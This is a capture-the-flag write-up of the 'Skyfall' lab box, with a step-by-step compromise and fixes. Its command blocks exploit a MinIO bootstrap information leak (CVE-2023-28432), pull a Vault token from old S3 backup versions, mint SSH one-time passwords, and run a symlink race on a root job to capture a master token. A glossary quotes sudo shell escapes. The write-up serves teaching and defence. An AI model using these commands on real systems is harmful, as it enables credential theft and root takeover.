Skyfall
Summary
Recon on $TARGET (nginx/1.18.0 Ubuntu) revealed two vhosts, skyfall.htb and demo.skyfall.htb (a Flask app behind a login). Scraping the authenticated app's HTML for internal references surfaced a third, undocumented vhost: prd23-s3-backend.skyfall.htb. Direct GET requests to it returned 403 Forbidden, but its MinIO cluster bootstrap endpoint (POST /minio/bootstrap/v1/verify) responded 200 OK with the full MinIO environment block unauthenticated — CVE-2023-28432 (MinIO information-disclosure via the cluster bootstrap API), leaking MINIO_ROOT_USER=[REDACTED: MinIO access key] and MINIO_ROOT_PASSWORD=[REDACTED: MinIO secret key].
Those credentials authenticated the AWS CLI against the MinIO S3 endpoint, exposing per-user buckets (askyy, btanner, emoneypenny, gmallory, jbond, omansfield, ...). The askyy bucket had object versioning enabled; pulling prior versions of home_backup.tar.gz recovered an old home directory including .bash_history, which contained an embedded HashiCorp Vault token ([REDACTED: user Vault token]).
That token authenticated to an internal-only Vault instance (prd23-vault-internal.skyfall.htb, added via /etc/hosts). It was a limited (non-root) token, but it had access to the dev_otp_key_role SSH secrets engine role, which issued a one-time-password SSH credential for user askyy. This gave a password-auth SSH foothold on $TARGET as askyy (uid=1000), yielding user.txt = [REDACTED: user flag].
On the box, /etc/vault-unseal.yaml referenced a vault-unseal process that periodically ran as root and wrote diagnostic output — including a Vault master token — to a debug.log in the current directory before permissions were tightened. This is a race-condition / TOCTOU symlink attack: the root process opened debug.log in a directory writable by askyy. By continuously relinking debug.log to a world-writable file while repeatedly triggering the root job, the master Vault token ([REDACTED: root Vault token]) was captured mid-write. That master token had access to the admin_otp_key_role, issuing a root SSH OTP credential and giving a full root shell (uid=0), capturing root.txt = [REDACTED: root flag].
Attack path — how the box was taken
The attacker enumerated virtual-host names from the target's nginx frontend and discovered an undocumented MinIO S3 back-end that responded to an unauthenticated cluster-bootstrap API call (CVE-2023-28432), leaking the storage root credentials. Those credentials unlocked an S3 bucket containing a home-directory backup; pulling older object versions recovered a .bash_history file embedding a HashiCorp Vault token. The token could request one-time-password SSH credentials for user askyy via the Vault SSH secrets engine, giving an authenticated shell and the user flag. On the box, askyy held a NOPASSWD sudo rule for a vault-unseal binary that wrote a debug log — including a Vault master token — to a directory askyy controlled. A symlink race redirected that write to an attacker-readable file, capturing the master token. The master token had access to the admin SSH OTP role, issuing a one-time root SSH password and completing full system compromise.
Exact commands 3
echo "$TARGET skyfall.htb demo.skyfall.htb $MINIO_HOST" | sudo tee -a /etc/hostscurl -s "http://$TARGET/" -H 'Host: demo.skyfall.htb' | grep -Eio '[a-z0-9.-]*skyfall\.htb[a-z0-9./-]*' | sort -ucurl -si "http://$MINIO_HOST/"Exact commands 1
curl -s -X POST http://$MINIO_HOST/minio/bootstrap/v1/verify | python3 -m json.toolFixPatch MinIO to eliminate the unauthenticated bootstrap information-disclosure endpointCritical
Exact commands 5
export AWS_ACCESS_KEY_ID="$MINIO_ACCESS_KEY" AWS_SECRET_ACCESS_KEY="$MINIO_SECRET_KEY"aws --endpoint-url "http://$MINIO_HOST" s3 lsaws --endpoint-url "http://$MINIO_HOST" s3api list-object-versions --bucket askyyaws --endpoint-url "http://$MINIO_HOST" s3api get-object --bucket askyy --key home_backup.tar.gz --version-id <old-version-id> home_backup.tar.gztar xzf home_backup.tar.gz && grep -iE 'hvs\.' home/askyy/.bash_historyFixScrub credentials from shell history and restrict access to home-directory backupsHigh
Exact commands 3
echo "$TARGET $VAULT_HOST" | sudo tee -a /etc/hostsSSH_OTP=$(curl -s -H "X-Vault-Token: $USER_VAULT_TOKEN" -X POST \
-d "$(printf '{"ip":"%s","username":"askyy"}' "$TARGET")" \
"http://$VAULT_HOST/v1/ssh/creds/dev_otp_key_role" \
| grep -oP '"key":"\K[^"]+')
echo "ASKYY_OTP=$SSH_OTP"sshpass -p "$SSH_OTP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no "askyy@$TARGET" 'id; cat ~/user.txt'FixRestrict Vault token permissions to the minimum required roleHigh
Exact commands 2
sudo -lcat /etc/vault-unseal.yamlExact commands 4
mkdir -p /home/askyy/race && cd /home/askyy/racewhile true; do ln -sfn /home/askyy/leak debug.log 2>/dev/null; done &
RACE_PID=$!
trap 'kill "$RACE_PID" 2>/dev/null || true; wait "$RACE_PID" 2>/dev/null || true' EXIT INT TERMfor i in $(seq 1 20); do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d 2>/dev/null; sleep 0.2; done
kill "$RACE_PID" 2>/dev/null || true
wait "$RACE_PID" 2>/dev/null || true
trap - EXIT INT TERMgrep -iE 'hvs\.' /home/askyy/leakFixPrevent the vault-unseal service from writing secrets to a user-controlled directoryCritical
Exact commands 2
SSH_OTP=$(curl -s -H "X-Vault-Token: $ROOT_VAULT_TOKEN" -X POST \
-d "$(printf '{"ip":"%s","username":"root"}' "$TARGET")" \
"http://$VAULT_HOST/v1/ssh/creds/admin_otp_key_role" \
| grep -oP '"key":"\K[^"]+')
echo "ROOT_OTP=$SSH_OTP"sshpass -p "$SSH_OTP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no "root@$TARGET" 'id; cat /root/root.txt'FixRevoke and scope the Vault master token; enforce role separation between dev and admin SSH rolesCritical
Attack patterns used
The transferable techniques behind this compromise — expand each to learn how it works and where to read more.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via `sudo -l`) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. `sudo perl -e 'exec "/bin/sh"'`, `sudo vim -c ':!sh'`, `sudo find . -exec /bin/sh \;`.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using `NOEXEC`, and least-privilege review. Always run `sudo -l` first on a foothold.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |